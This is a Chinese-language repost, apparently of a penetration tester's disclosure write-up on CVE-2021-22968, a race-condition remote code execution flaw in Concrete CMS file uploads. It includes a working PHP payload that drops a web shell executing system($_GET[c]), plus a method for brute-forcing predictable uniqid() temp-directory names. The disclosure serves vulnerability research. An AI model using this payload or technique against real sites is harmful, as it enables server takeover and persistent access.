Concrete CMS漏洞(第 1 部分 - RCE)

  • A+
所属分类:代码审计

点击上方蓝字“Ots安全”一起玩耍

介绍

Concrete CMS 旨在为具有最少技术技能的用户提供易用性。它使用户能够直接从页面编辑站点内容。它为每个页面提供版本管理,类似于维基软件,另一种类型的网站开发软件。Concrete5 允许用户通过页面上的嵌入式编辑器编辑图像。截至 2021 年,有超过 62,000 个使用 Concrete CMS 构建的实时网站。


在最近的一次渗透测试中,我们的团队发现了一个非常有趣的漏洞。漏洞的发现相对简单,但是将 POC 放在一起非常具有挑战性,因此这篇文章的原因。CVE-2021-22968 已分配给此问题,并在 Concrete CMS 版本 8.5.7 和 9.0.1 中修复。需要低权限用户才能利用此漏洞获取远程命令执行。


漏洞——文件上传中的竞争条件

作为受限用户,您可以从远程服务器上传文件。您输入 url,CMS 将使用 curl 下载它并将其写入本地(或写入 AWS S3 中的存储桶)。这个卷曲有 60 秒的超时,这将在以后变得相关。

Concrete CMS漏洞(第 1 部分 - RCE)

现在,你们中的一些人可能会“SSRF!”,这绝对是公平的,但我们将讨论这个问题以及我们如何绕过本系列第 2 部分中的所有 SSRF 缓解措施。


对文件扩展名进行了一些验证,例如,如果您尝试下载带有 php 扩展名的文件,您将获得以下结果:

Concrete CMS漏洞(第 1 部分 - RCE)

当我们检查源代码时,验证看起来很不错,但是您知道在跟踪代码时我们意识到了什么吗?验证是在文件下载到本地后完成的!因此,我们有一个竞争条件。我们的第一个竞争条件,因为正如您将看到的,我们将有 2 个竞争条件可以利用。


让我们看一下代码,看看我们的文件在哪里下载和写入:

Concrete CMS漏洞(第 1 部分 - RCE)

但是 $temporaryDirectory 来自哪里?有一个名为 VolatileDirectory 的特殊类,它创建一个临时目录,在每个请求结束时将其删除。

Concrete CMS漏洞(第 1 部分 - RCE)

如您所见,创建了一个新目录,我们的文件将写入此处。目录的名称应该是随机的,但是在实践中 $i 将始终为 0,因此我们需要检查 uniqid() 的行为,我们稍后会看一下。我们遇到的另一个问题是,在 CMS 中导入文件后,整个目录与下载的文件一起被删除:

Concrete CMS漏洞(第 1 部分 - RCE)

Uniqid() 行为

好的,正如我们所说,让我们检查 php 源代码中的 uniqid() 函数,看看它返回什么:

Concrete CMS漏洞(第 1 部分 - RCE)

这真的很简单,没有什么可害怕的。如您所见,它只是执行 gettimeofday() 返回秒和微秒。CMS 源代码中没有使用 more_entropy 参数,所以这里没有使用真正的熵,整个返回值基于秒/微秒,我们知道这些是高度可预测的,我们可以对其进行暴力破解。我们只需要有足够的时间来执行此操作,因为在我们的初始测试中,执行请求大约需要 100 毫秒。


我们需要一个计划

所以基本上为了猜测随机目录的名称,我们需要猜测服务器将使用的秒和微秒。根据响应标头,我们可以通过将主机时间与服务器时间同步来轻松猜测第二部分。我们还应该将我们的攻击服务器放在同一时区或 AWS 区域,尽可能靠近目标。但是一个请求大约需要 100ms 的时间来执行,因此我们需要尽可能地延长这个请求的执行时间,以便我们有时间对 volatile 目录名称进行暴力破解。有 1M 个可能的目录名称需要检查,每微秒 1 个。我们怎样才能做到这一点?很简单,我们将在从远程服务器下载的 test.php 文件中添加一个 30-60 秒的 sleep()。这基本上会强制 CMS 在删除它之前将 $temporaryDir 目录在本地文件系统上保留 30-60 秒。我们有足够的时间使用 Turbo Intruder 对目录名称进行暴力破解。当我们找到现有目录时,我们会得到一个 200 HTTP 响应代码。下面是我们使用的 test.php 文件(这个 php 文件 echo-es 另一个 php 文件;并且回显的php代码会在父目录中写一个php shell):

<?phpset_time_limit(0);sleep(35);echo '<?php file_put_contents("../shell.php","<?php system($_GET[c]) ;");';echo '?>' . str_repeat("A",50000000);flush();ob_flush();?>

这是攻击的所有相关时刻的图表,希望这能让事情变得更清楚。

Concrete CMS漏洞(第 1 部分 - RCE)

相关竞态条件的时序

  • 在 T0 时,您开始上传请求并开始搜索易失性目录名称。您有 100 万种可能性,我们设法发送了 16-17K RPS,因此您可以在大约 30 秒内轻松暴力破解 500-700K,这是 50% 的机会,效果很好。由于 Turbo Intruder 的一些问题,我们没有对 1M 的请求进行排队。

  • 在 T1,您找到了易变的目录名称(赢得了第一场比赛),但是 test.php 尚未写入该目录中。因此,您必须开始搜索 test.php(第二个竞争条件),它总是会在大约 30 秒后(从 T0 开始)写入。为此,我们在 Turbo Intruder 中将另外 500K 请求排队。

  • 在 T2(~第 30 秒) test.php 写在本地,在 volatile 目录中

  • 在 T3 时,来自 T1 的排队请求之一命中 test.php 并通过执行它,我们在父目录(“/application/files/tmp”)中编写了一个永久 shell——我们赢得了第二场比赛

  • 在 T4 里面的 volatile dir 和 test.php 都被删除了,但是我们已经有了一个 shell 

猜到目录名后,我们会请求test.php,它会在父目录中写入一个永久的shell。这是来自 Turbo Intruder 的屏幕截图,其中包含猜测的目录名称:

Concrete CMS漏洞(第 1 部分 - RCE)

第二个比赛条件

通过让 test.php 执行约 30 秒以猜测目录名称,我们创建了第二个竞争条件。我们现在不知道 test.php 什么时候会被写入 CMS 文件系统,但很明显,在它完成后它自己在远程服务器上执行(休眠时间 + 几毫秒)。实际上,这意味着如果我们在第 10 秒猜到目录名称,我们将不得不在 turbo intruder 中排队另外 500K-1M 的请求,这将必须涵盖所有时间间隔,直到 test.php 被写入文件系统。最坏的情况是,您必须再发送 30 秒的足够请求。

Concrete CMS漏洞(第 1 部分 - RCE)

您可以在上面的屏幕截图 (tail -f access_log) 中看到,我们如何在我们之前猜测的目录名称中不断发送对 test.php 的请求。一旦找到并执行 test.php,它就会在父目录中写入一个永久的 shell。


Shell

我们希望到目前为止事情已经很清楚了,这是我们的 shell,它为我们提供了 RCE 和持久性:

Concrete CMS漏洞(第 1 部分 - RCE)

发现此漏洞相对容易,但是将 POC 放在一起是一项非常耗时的活动。我们还必须解决一些 Turbo Intruder 问题,这些问题导致了这个问题和其他一些问题,感谢@albinowax解决了这个问题。所有代码都在这里发布。


提示

  • curl 的超时时间是 60 秒,不要在 test.php 中 sleep() 超过 60 秒

  • 如果可能,请使用 http2

  • 使用 tail -f access_log 和 tail -f error_log 监视您的请求和任何错误

  • 检查 request.txt 中的上传请求是否仍然有效

  • 上传请求默认绑定单个ip


时间线

  • 30/10/2021 报告发送给供应商

  • 08/11/2021 补丁发布(版本 8.5.7/9.0.1)

  • 15/11/2021 发表了这篇文章

Concrete CMS漏洞(第 1 部分 - RCE)

原文始发于微信公众号(Ots安全):Concrete CMS漏洞(第 1 部分 - RCE)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: